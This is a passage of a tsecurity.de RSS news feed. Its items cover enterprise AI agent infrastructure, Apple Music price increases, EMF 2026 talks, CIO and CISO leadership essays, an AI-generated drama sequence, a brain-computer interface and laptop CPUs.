developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.</p><p>Zendesk hit its bottleneck from the data side. Ghoche, who joined through <a href="https://www.zendesk.com/newsroom/press-releases/zendesk-completes-acquisition-of-forethought/">Zendesk's acquisition of Forethought</a>, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.</p><h2>The role of open source</h2><p>On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.</p><p>Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.</p><p>LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.</p><p>"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. </p><p>Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.</p><h2>Advice for the modernization journey</h2><p>Three pieces of advice came up directly, each tied to the wall a leader had already hit.</p><p><b>Invest in evals before anything else.</b> Ghoche called it the thing common to every use case, internal or customer facing. </p><p>"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, </p><p><b>Own your agent harness from day one.</b> Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. </p><p>"It will unlock a huge amount of innovation," she said.</p><p><b>Build for model and context independence.</b> Ensuring flexibility is critical for success.</p><p>"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Music gets first U.S. price hike in four years]]></title>
<description><![CDATA[Apple Music is raising U.S. subscription prices for the first time since 2022, increasing every paid tier and hitting family subscribers with the largest jump.Apple Music raises pricesThe Apple Music Individual plan now costs $11.99 per month, up from $10.99. The Family plan rose from $16.99 to $...]]></description>
<link>https://tsecurity.de/de/3676812/ios-mac-os/apple-music-gets-first-us-price-hike-in-four-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676812/ios-mac-os/apple-music-gets-first-us-price-hike-in-four-years/</guid>
<pubDate>Fri, 17 Jul 2026 20:23:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-music" title="Apple Music" data-kpt="1">Apple Music</a> is raising U.S. subscription prices for the first time since 2022, increasing every paid tier and hitting family subscribers with the largest jump.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68280-143928-Apple-Music-playlists-xl.jpg" alt="Hand holding a smartphone displaying a colorful music streaming app screen with sections titled Your Essentials and Stations for You, against a blurred indoor background with a dark water bottle" height="738"><span>Apple Music raises prices</span></div><br>The Apple Music Individual plan now costs $11.99 per month, up from $10.99. The Family plan rose from $16.99 to $19.99 per month and continues to support as many as six people through Family Sharing.<br><br>Verified college students will pay $6.99 per month, up from $5.99. The Student plan includes the full Apple Music service and access to <a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> at no additional cost.<br><br>The increases add $12 per year to the Individual and Student plans. A Family subscription will cost $36 more annually, bringing the total to $239.88 per year.<br><br><br> <a href="https://appleinsider.com/articles/26/07/17/apple-music-gets-first-us-price-hike-in-four-years?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244986?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[SMolSTM: an open hardware scanning tunnelling microscope for creating single-molecule circuits (emf2026)]]></title>
<description><![CDATA[As the energy consumed by datacentres grows, finding energy-efficient alternatives to conventional electronics becomes increasingly urgent. Molecular electronics offers a different idea of what a device can be: using synthetic chemistry, custom molecules can be designed for specific applications,...]]></description>
<link>https://tsecurity.de/de/3676648/it-security-video/smolstm-an-open-hardware-scanning-tunnelling-microscope-for-creating-single-molecule-circuits-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676648/it-security-video/smolstm-an-open-hardware-scanning-tunnelling-microscope-for-creating-single-molecule-circuits-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 19:19:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As the energy consumed by datacentres grows, finding energy-efficient alternatives to conventional electronics becomes increasingly urgent. Molecular electronics offers a different idea of what a device can be: using synthetic chemistry, custom molecules can be designed for specific applications, utilising fascinating nanoscale phenomena such as quantum interference. These single-molecule devices can “self-assemble” into larger structures for energy-efficient sensing, memory, and computation. 

The nanostructured nature of single molecules offers endless possibilities, and difficulties: wiring molecules into circuits requires sub-nanometer (&lt; 0.000000001 m!!!) precision. The scanning tunnelling microscope (STM), which explores surfaces at the atomic scale using quantum tunnelling, could become the multimeter of molecular electronics, but commercial STMs are extremely expensive and not optimised for these experiments.

This talk describes the development of an open-hardware STM for single-molecule “break-junction” experiments (SMolSTM). The design was developed over several years, from a prototype built in a shed during the COVID-19 pandemic to a precision instrument currently in use in a state-of-the-art low noise research facility. 

This STM is orders of magnitude less expensive than commercial alternatives and can be made using hand tools and 3D printing, yet achieves exceptional performance in single-molecule experiments. The flexibility of open hardware allows experiments which are impossible on existing systems. This talk will introduce molecular electronics, outline a multi-year journey in DIY STM development, and describe some experiments using SMolSTM (e.g. measuring the resistance of a single gold atom!). 

This work was conducted in part at Lancaster University as part of an EPSRC funded research project.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/219-smolstm-an-open-hardware-scanning-tunnelling-microscope]]></content:encoded>
</item>
<item>
<title><![CDATA[Middle Rage - Social Media and the War on Democracy (emf2026)]]></title>
<description><![CDATA[What happens when the people we think of as “having it all sorted” start being quietly pulled towards extremism online?
This talk from the SMIDGE project shines a light on an often-overlooked group: the middle aged. This includes some of the most powerful people in the world CEOs, influencers and...]]></description>
<link>https://tsecurity.de/de/3676645/it-security-video/middle-rage-social-media-and-the-war-on-democracy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676645/it-security-video/middle-rage-social-media-and-the-war-on-democracy-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 19:19:21 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What happens when the people we think of as “having it all sorted” start being quietly pulled towards extremism online?
This talk from the SMIDGE project shines a light on an often-overlooked group: the middle aged. This includes some of the most powerful people in the world CEOs, influencers and politicians. For most however, middle-age looks very different: juggling jobs, children, ageing parents, mortgages, and a constant stream of news, advice, and opinions online.
Far from being “sorted,” this stage of life is full of pressures including health worries, financial strain, and caring responsibilities. So, when something appears online that promises a clear explanation, a simple answer, or someone to blame, it can be hard not to pay attention.
The problem is that the systems shaping what we see are not designed to inform us but are designed to keep us engaged. AI-driven content is becoming more convincing by the day, blurring the line between what is real and what is not. What starts as an innocent search for diet tips or money advice can lead down a path towards more extreme, emotionally charged content. Not suddenly, but step by step.
This talk explores why the “invisible middle” matters both as a group vulnerable to misinformation, and as one with real influence over how ideas spread. Because if we want to understand radicalisation today, we cannot afford to ignore the middle aged.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/129-middle-rage-social-media-and-the-war-on-democracy]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple sues OpenAI, public betas, & super apps on the AppleInsider Podcast]]></title>
<description><![CDATA[The already tense relationship between Apple and OpenAI reaches a breaking point as trade secret accusations emerge, plus your hosts discuss EU regulations, the future of gaming, and public betas on the AppleInsider Podcast.Apple is set to be in a lawsuit with OpenAI for some timeApple restarted ...]]></description>
<link>https://tsecurity.de/de/3676168/ios-mac-os/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676168/ios-mac-os/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The already tense relationship between Apple and OpenAI reaches a breaking point as trade secret accusations emerge, plus your hosts discuss EU regulations, the future of gaming, and public betas on the AppleInsider Podcast.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68263-143896-Apple-Park-night-Rainbow-Stage-xl.jpg" alt="Large glowing rainbow arch installation in a dark landscaped courtyard, surrounded by trees and small lights, with a long modern glass building illuminated in the background at night" height="738"><br><span>Apple is set to be in a lawsuit with OpenAI for some time</span></div><br>Apple restarted its AI efforts with new Apple Foundation Models built with Google's Gemini Frontier models at the foundation. While Google's involvement seemed obvious in the long run, the move away from OpenAI's ChatGPT may have been a long time coming.<br><br>Not only is OpenAI building hardware products meant to directly compete with Apple's, but the company has poached over 400 employees in recent years. Apple finally showed its hand with a trade secrets lawsuit that could upend OpenAI's hardware ambitions and hopes for sustainable post-AI revenue.<br><br><br> <a href="https://appleinsider.com/articles/26/07/17/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244980?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The last human relationship in cybersecurity]]></title>
<description><![CDATA[We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.



But both prom...]]></description>
<link>https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</guid>
<pubDate>Fri, 17 Jul 2026 14:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.</p>



<p class="wp-block-paragraph">But both promises are downstream of something neither one can produce. You cannot automate trust between two people. You cannot govern your way to a relationship. As AI moves into the core of how organizations operate, and accountability stops mapping cleanly to the org chart, what holds when the stakes are highest is not the platform or the policy. It is two human leaders who know each other well enough to carry the weight together.</p>



<p class="wp-block-paragraph">I think about this often now, a year after publishing a book about the pressures bearing down on security leaders, “<a href="https://www.amazon.com/dp/B0F6DDK8CD">The CISO On The Razor’s Edge: Leading Cybersecurity When The System Is Designed To Break</a>.” The partnership between the CIO and the CISO is the last human relationship in cybersecurity. AI raises the stakes. Governance sets the floor. The relationship is what holds.</p>



<p class="wp-block-paragraph">I saw it work once, up close. When I worked in Washington State, the CIO, <a href="https://www.linkedin.com/in/william-kehoe-a37a0714b/">Bill Kehoe</a>, talked to his CISO, <a href="https://www.linkedin.com/in/ralfjnsn/">Ralph Johnson</a>, every day. Weekends included. Not because a policy required it, but because the mission did. That partnership is a large part of why the role stayed sustainable for them when it broke so many others.</p>



<h2 class="wp-block-heading">The promise we keep believing</h2>



<p class="wp-block-paragraph">Walk any conference floor and you will hear the same pitch in a hundred variations. The next AI layer will close the gap. The next framework will lock down the risk. The technology is usually ready. The organization is not. I have watched too many well-funded programs stall to still believe the tool is the answer, and almost every time, the breakdown traced back to leaders who were not aligned before the work began. A framework run by misaligned leaders inherits the misalignment. You can buy the best controls on the market and still watch them fail when two leaders work from different assumptions about who owns what.</p>



<p class="wp-block-paragraph">Bill and Ralph understood this. Security decisions were not handed to Ralph after the fact to bless or block. They were made with him, inside the technology decisions, because the two had already agreed on what mattered. That is not governance. That is leadership creating the conditions in which governance can work.</p>



<p class="wp-block-paragraph">It is the real lesson I came to in the book. Technical knowledge matters, but it is not enough. As I wrote then, “Influence, trust and internal relationships are non-negotiable.” Without influence, CISOs cannot lead. Without technical substance, they cannot prioritize what matters. And without partnership, especially with their CIO, “they’re operating without a safety net.”</p>



<p class="wp-block-paragraph">AI does not change that truth. It raises the cost of ignoring it.</p>



<h2 class="wp-block-heading">When decisions move at machine speed</h2>



<p class="wp-block-paragraph">The ground under both roles is shifting. Work no longer flows through people alone. It moves across people, platforms, partners and agents at the same time, and it moves fast. Decisions that once waited for a meeting now form in seconds. The org chart, built for an era when humans did the work and reporting lines explained accountability, struggles to keep up.</p>



<p class="wp-block-paragraph">This is where the partnership stops being a nicety and becomes infrastructure. When decisions form at machine speed, the human escalation path has to be instant. There is no time to negotiate a relationship in the middle of an incident. Either the trust is already there, built in the quiet stretches before anything goes wrong, or it is not there when it counts.</p>



<p class="wp-block-paragraph">I asked Bill what he would lose if his daily calls with Ralph dropped to once a week. His answer cut straight to it.</p>



<p class="wp-block-paragraph">“Cyber does not rest,” he told me. “It is active and dynamic and requires 24/7/365 attention.” Drop to a weekly check-in, he explained, and “I am treating the CISO like any other executive position.” For Bill, AI only raises the stakes on that daily contact. “Relationships and partnerships between the CIO and CISO will never die due to AI,” he said. “I can’t even imagine a scenario where I don’t talk to my CISO on a daily basis including weekends to discuss the latest risks and vulnerabilities or news on potential AI attacks.”</p>



<p class="wp-block-paragraph">That is the point most of the market misses. A platform can flag the anomaly. It cannot decide what the organization is willing to risk, who carries that decision or how two leaders stand behind it together. The faster the machines move, the more the partnership has to already be in place.</p>



<h2 class="wp-block-heading">The loneliest seat in the building</h2>



<p class="wp-block-paragraph">There is a reason some now call the CISO job the least desirable role in business. The seat carries enormous accountability and rarely the authority to match. As one security leader put it, <a href="https://www.csoonline.com/article/4016334/has-ciso-become-the-least-desirable-role-in-business.html">the pressure has never been higher and the control has never felt lower</a>. People are burning out and walking away from a role that has never mattered more.</p>



<p class="wp-block-paragraph">Here is the hard part. There is no log file for burnout. No alert fires when the weight finally exceeds the leader. That drain is invisible right up until it is not, and it raises organizational risk as surely as any unpatched system. The structural fixes the industry debates are all real and all slow.</p>



<p class="wp-block-paragraph">The fastest source of relief available to a CISO is not a framework. It is a CIO who treats the relationship as a daily partnership rather than a line on a chart. An isolated CISO is a vulnerability. A partnered one is an asset.</p>



<p class="wp-block-paragraph">You see what that partnership is worth in the worst moment. I asked Bill what it looks like when an incident hits and public trust is on the line. He did not reach for a tool.</p>



<p class="wp-block-paragraph">“I am accountable as CIO to everything that occurs in the state from a technology lens including cyber,” he said. When a severe incident hits, the call comes to him from agency leadership or the Governor’s Office. Then he follows the plan, but never alone: “I will be in constant contact with the CISO on the details of the incident.”</p>



<p class="wp-block-paragraph">That is the safety net made real. The CISO is not carrying the mission alone at the moment it matters most. On the razor’s edge, leadership keeps you upright. Partnership keeps you in the fight.</p>



<h2 class="wp-block-heading">The work no tool will do for you</h2>



<p class="wp-block-paragraph">In my advisory work, I sit with C-suite leaders who share values and still cannot find alignment. The barrier is rarely disagreement. It is that they are not communicating clearly or often enough to build the trust that alignment requires. I have watched negotiations that could only happen by proxy, over email, because two capable leaders had stopped talking directly.</p>



<p class="wp-block-paragraph">I recently sat in an hour-long discussion where alignment and shared values were present the whole time. It did not become clear until the final fifteen minutes. That is what real alignment costs: patience, persistence and a stubborn commitment to clarity. If leaders cannot do that work themselves, no AI model or governance tool will do it for them.</p>



<p class="wp-block-paragraph">This is why I stand up an AI review board for the organizations I work with and host the leadership conversations that decide whether a company’s AI ambitions thrive or stall. The board itself matters less than what it provides: neutral ground, a regular cadence and an agenda that forces the hard issues into the open before a crisis forces them. If your organization has no venue like that, that absence is its own form of dysfunction. The cadence is what makes communication effective. Not easy. Effective.</p>



<h2 class="wp-block-heading">Build the bond on purpose</h2>



<p class="wp-block-paragraph">You cannot framework your way to trust. But you can build it deliberately, and that is a leadership act, not a governance one. The partnership and stakeholdering skills that once looked like soft extras are now the core executive work. A few moves matter most:</p>



<ul class="wp-block-list">
<li>Set a standing contact rhythm with your counterpart before you need one, daily or near-daily, not quarterly</li>



<li>Make decision rights and accountability explicit while it is calm, so no one improvises them mid-incident</li>



<li>Translate security into business outcomes together, so the board hears one aligned voice</li>
</ul>



<p class="wp-block-paragraph">Build the relationship as deliberately as you would build any critical control, because that is what it is. If you cannot connect the partnership to outcomes the business actually feels, you have a friendship, not a performance lever.</p>



<p class="wp-block-paragraph">A year after writing “The CISO On the Razor’s Edge,” I am even more convinced that strong leadership precedes effective governance and partnership precedes them both. This is the good news, not the hard news. The CIO and CISO who build real trust do not just reduce risk. They move faster than their competitors, because they spend no energy fighting each other. They earn the board’s confidence, because the board hears one clear voice. And they unlock the AI strategy everyone else is still struggling to govern, because they have already done the human work that makes governance hold.</p>



<p class="wp-block-paragraph">That is the upside waiting on the other side of this relationship. AI will keep advancing. Governance will keep maturing. But the organizations that win the next decade will be the ones where two leaders decided the partnership was worth building before they needed it. Bill and Ralph knew it every day, weekends included. The edge is there for anyone willing to do the same.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How ‘Agent Kim Reactivated’ used AI to Create So Ji-sub’s Backstory]]></title>
<description><![CDATA[SBS drama Agent Kim Reactivated has drawn attention after using artificial intelligence to create a nearly three-minute sequence that explores Manager Kim's past. 



The story follows the character played by So Ji-sub during a secret mission in North Korea, giving viewers a look at his earlier l...]]></description>
<link>https://tsecurity.de/de/3675948/ios-mac-os/how-agent-kim-reactivated-used-ai-to-create-so-ji-subs-backstory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675948/ios-mac-os/how-agent-kim-reactivated-used-ai-to-create-so-ji-subs-backstory/</guid>
<pubDate>Fri, 17 Jul 2026 13:55:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SBS drama Agent Kim Reactivated has drawn attention after using artificial intelligence to create a nearly three-minute sequence that explores Manager Kim's past. 



The story follows the character played by So Ji-sub during a secret mission in North Korea, giving viewers a look at his earlier life through AI-generated scenes instead of traditional filming. The sequence appeared across the drama's first two episodes and stands out as one of the longest AI-generated story segments used in a Korean drama.



The production relied on AICRON, an AI platform developed by Korean visual effects specialists. The sequence includes large-scale explosions, snow-covered car chases, tunnel pursuits, vehicle crashes, underwater recovery operations, gunfights, hand-to-hand combat, and close-up character shots while keeping the characters visually consistent from beginning to end.



AI helps bring Manager Kim's story to life



At an SBS Drama media event, Studio S CEO Hong Sung-chang explained why the company invested heavily in AI for upcoming productions.




"We have incorporated AI extensively into upcoming productions. Viewers will be informed through on-screen captions whenever AI is used. Reducing production costs is certainly one advantage, but the greater significance lies in proving that it can be done. I believe audiences will come to appreciate it even more over time."




The AI work was completed by Morpheus Studio under the supervision of vice president Ryu Jae-hwan, whose previous film credits include 1947 Boston, Swing Kids, and Flu.




"We completed an entire story sequence essential to the narrative using AI. Manager Kim was conceived from the planning stage with a clear purpose for incorporating AI. It demonstrates the potential for AI to become a new production tool that brings creators' imagination to life," Ryu said.




Morpheus Studio also highlighted that the complete sequence was produced using the Korean-developed AICRON platform, calling it an important milestone for domestic AI technology. The company said this experience will help expand the platform for wider commercial use, showing how AI can support ambitious storytelling while reducing the need for expensive overseas shoots, large sets, practical effects, and heavy visual effects work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Doppelter Bypass zum Gehirn: Querschnittsgelähmter kann wieder greifen und Händedruck fühlen]]></title>
<description><![CDATA[Ein komplexes Maßnahmenpaket mit Gehirn-Computer-Schnittstellen (Computer Brain Interface, BCI) ermöglichte einem Querschnittsgelähmten wieder Zugang zu seiner Hand. Ob auch andere Betroffene davon profitieren können, ist ungewiss.weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3675797/it-nachrichten/doppelter-bypass-zum-gehirn-querschnittsgelaehmter-kann-wieder-greifen-und-haendedruck-fuehlen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675797/it-nachrichten/doppelter-bypass-zum-gehirn-querschnittsgelaehmter-kann-wieder-greifen-und-haendedruck-fuehlen/</guid>
<pubDate>Fri, 17 Jul 2026 12:47:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein komplexes Maßnahmenpaket mit Gehirn-Computer-Schnittstellen (Computer Brain Interface, BCI) ermöglichte einem Querschnittsgelähmten wieder Zugang zu seiner Hand. Ob auch andere Betroffene davon profitieren können, ist ungewiss.<a href="https://t3n.de/news/doppelter-bypass-zum-gehirn-querschnittsgelaehmter-kann-wieder-greifen-und-haendedruck-fuehlen-1753232/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[In neuen Laptops kommen alte CPUs zum Einsatz – Das ist ein Problem!]]></title>
<description><![CDATA[Einer der Grundsätze der Produktivität lautet, mit weniger mehr zu erreichen. Doch auch das Gegenteil trifft zu – ein heimtückischer, schädlicher Trend, der scheinbar gerade den Laptop-Markt durchdringt.



CPU-Hersteller haben begonnen, alte Chips wiederzuverwenden, jedoch auf eine Weise, die di...]]></description>
<link>https://tsecurity.de/de/3675782/it-nachrichten/in-neuen-laptops-kommen-alte-cpus-zum-einsatz-das-ist-ein-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675782/it-nachrichten/in-neuen-laptops-kommen-alte-cpus-zum-einsatz-das-ist-ein-problem/</guid>
<pubDate>Fri, 17 Jul 2026 12:47:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Einer der Grundsätze der Produktivität lautet, mit weniger mehr zu erreichen. Doch auch das Gegenteil trifft zu – ein heimtückischer, schädlicher Trend, der scheinbar gerade den Laptop-Markt durchdringt.</p>



